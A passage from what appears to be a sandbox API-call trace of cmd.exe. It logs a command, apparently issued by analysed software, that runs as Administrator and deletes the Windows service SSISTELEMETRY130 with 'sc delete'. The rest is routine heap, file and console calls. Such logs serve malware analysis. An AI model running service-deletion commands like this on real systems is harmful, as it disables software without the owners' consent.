(in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="Mer130\n\nce\n") returned 1 [0075.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="Er130\n\nce\n") returned 1 [0075.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="T130\n\nce\n") returned 1 [0075.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="R30\n\nce\n") returned 1 [0075.157] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.157] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="Y0\n\nce\n") returned 1 [0075.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="1\n\nce\n") returned 1 [0075.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="3\nce\n") returned 1 [0075.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="0ce\n") returned 1 [0075.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="\ne\n") returned 1 [0075.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.158] GetFileType (hFile=0xb8) returned 0x3 [0075.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.159] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.159] GetFileType (hFile=0x120) returned 0x3 [0075.159] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.159] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SSISTELEMETRY130\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SSISTELEMETRY130\n", lpUsedDefaultChar=0x0) returned 28 [0075.159] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1b, lpOverlapped=0x0) returned 1 [0075.159] GetProcessHeap () returned 0x240000 [0075.159] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x266630 [0075.159] GetProcessHeap () returned 0x240000 [0075.159] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x266630 | out: hHeap=0x240000) returned 1 [0075.159] GetProcessHeap () returned 0x240000 [0075.159] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0075.159] GetProcessHeap () returned 0x240000 [0075.159] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0075.159] GetProcessHeap () returned 0x240000 [0075.159] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x42) returned 0x25aa40 [0075.159] GetConsoleOutputCP () returned 0x1b5 [0075.160] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.160] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.160] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.160] GetProcessHeap () returned 0x240000 [0075.160] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0075.160] GetProcessHeap () returned 0x240000 [0075.160] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x48) returned 0x25aa90 [0075.160] GetProcessHeap () returned 0x240000 [0075.160] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0075.160] SetErrorMode (uMode=0x0) returned 0x1 [0075.160] SetErrorMode (uMode=0x1) returned 0x0 [0075.160] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0075.161] SetErrorMode (uMode=0x1) returned 0x1 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0075.161] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0075.161] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0075.161] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0075.161] GetProcessHeap () returned 0x240000 [0075.161] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0075.161] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.162] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.162] GetLastError () returned 0x2 [0075.162] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.162] GetLastError () returned 0x2 [0075.162] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0075.162] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.162] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.163] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0075.163] GetLastError () returned 0x2 [0075.163] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0075.163] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0075.163] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0075.163] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0075.163] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.163] GetProcessHeap () returned 0x240000 [0075.163] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0075.163] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0075.164] GetProcessHeap () returned 0x240000 [0075.164] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xae) returned 0x259180 [0075.164] GetProcessHeap () returned 0x240000 [0075.164] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xae [0075.164] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SSISTELEMETRY130") returned 1 [0075.165] GetProcessHeap () returned 0x240000 [0075.165] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0075.165] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0075.165] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0075.165] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0075.165] GetProcessHeap () returned 0x240000 [0075.165] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.166] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.167] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.167] GetProcessHeap () returned 0x240000 [0075.167] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0075.167] GetProcessHeap () returned 0x240000 [0075.167] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0075.167] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SSISTELEMETRY130", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SSISTELEMETRY130", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete SSISTELEMETRY130", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0xab4, dwThreadId=0x644)) returned 1 [0075.172] CloseHandle (hObject=0x50) returned 1 [0075.172] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0075.172] GetProcessHeap () returned 0x240000 [0075.172] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0075.172] GetEnvironmentStringsW () returned 0x261b10* [0075.172] GetProcessHeap () returned 0x240000 [0075.172] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0075.172] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.172] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0075.172] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0075.172] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0075.345] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0075.345] CloseHandle (hObject=0x54) returned 1 [0075.345] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0075.345] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0075.345] GetProcessHeap () returned 0x240000 [0075.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0075.345] GetEnvironmentStringsW () returned 0x261b10* [0075.345] GetProcessHeap () returned 0x240000 [0075.345] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0075.346] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.346] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0075.346] GetProcessHeap () returned 0x240000 [0075.346] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0075.346] GetEnvironmentStringsW () returned 0x261b10* [0075.346] GetProcessHeap () returned 0x240000 [0075.346] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0075.346] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.346] GetProcessHeap () returned 0x240000 [0075.346] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0075.346] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0075.346] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0075.346] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.347] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0075.347] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.347] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0075.347] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.347] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0075.347] GetConsoleOutputCP () returned 0x1b5 [0075.347] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.347] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.347] GetProcessHeap () returned 0x240000 [0075.347] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0075.347] GetProcessHeap () returned 0x240000 [0075.347] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0075.347] GetProcessHeap () returned 0x240000 [0075.347] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0075.347] GetProcessHeap () returned 0x240000 [0075.347] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.348] GetProcessHeap () returned 0x240000 [0075.348] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0075.348] GetProcessHeap () returned 0x240000 [0075.348] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0075.348] GetProcessHeap () returned 0x240000 [0075.348] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0075.348] GetProcessHeap () returned 0x240000 [0075.348] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0075.348] GetProcessHeap () returned 0x240000 [0075.348] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0075.348] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0075.348] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.348] GetFileType (hFile=0x120) returned 0x3 [0075.348] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0075.348] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0075.348] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0075.348] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0075.348] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0075.348] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0075.348] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.348] GetFileType (hFile=0x120) returned 0x3 [0075.348] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0075.349] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0075.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.349] GetFileType (hFile=0xb8) returned 0x3 [0075.349] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.349] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, 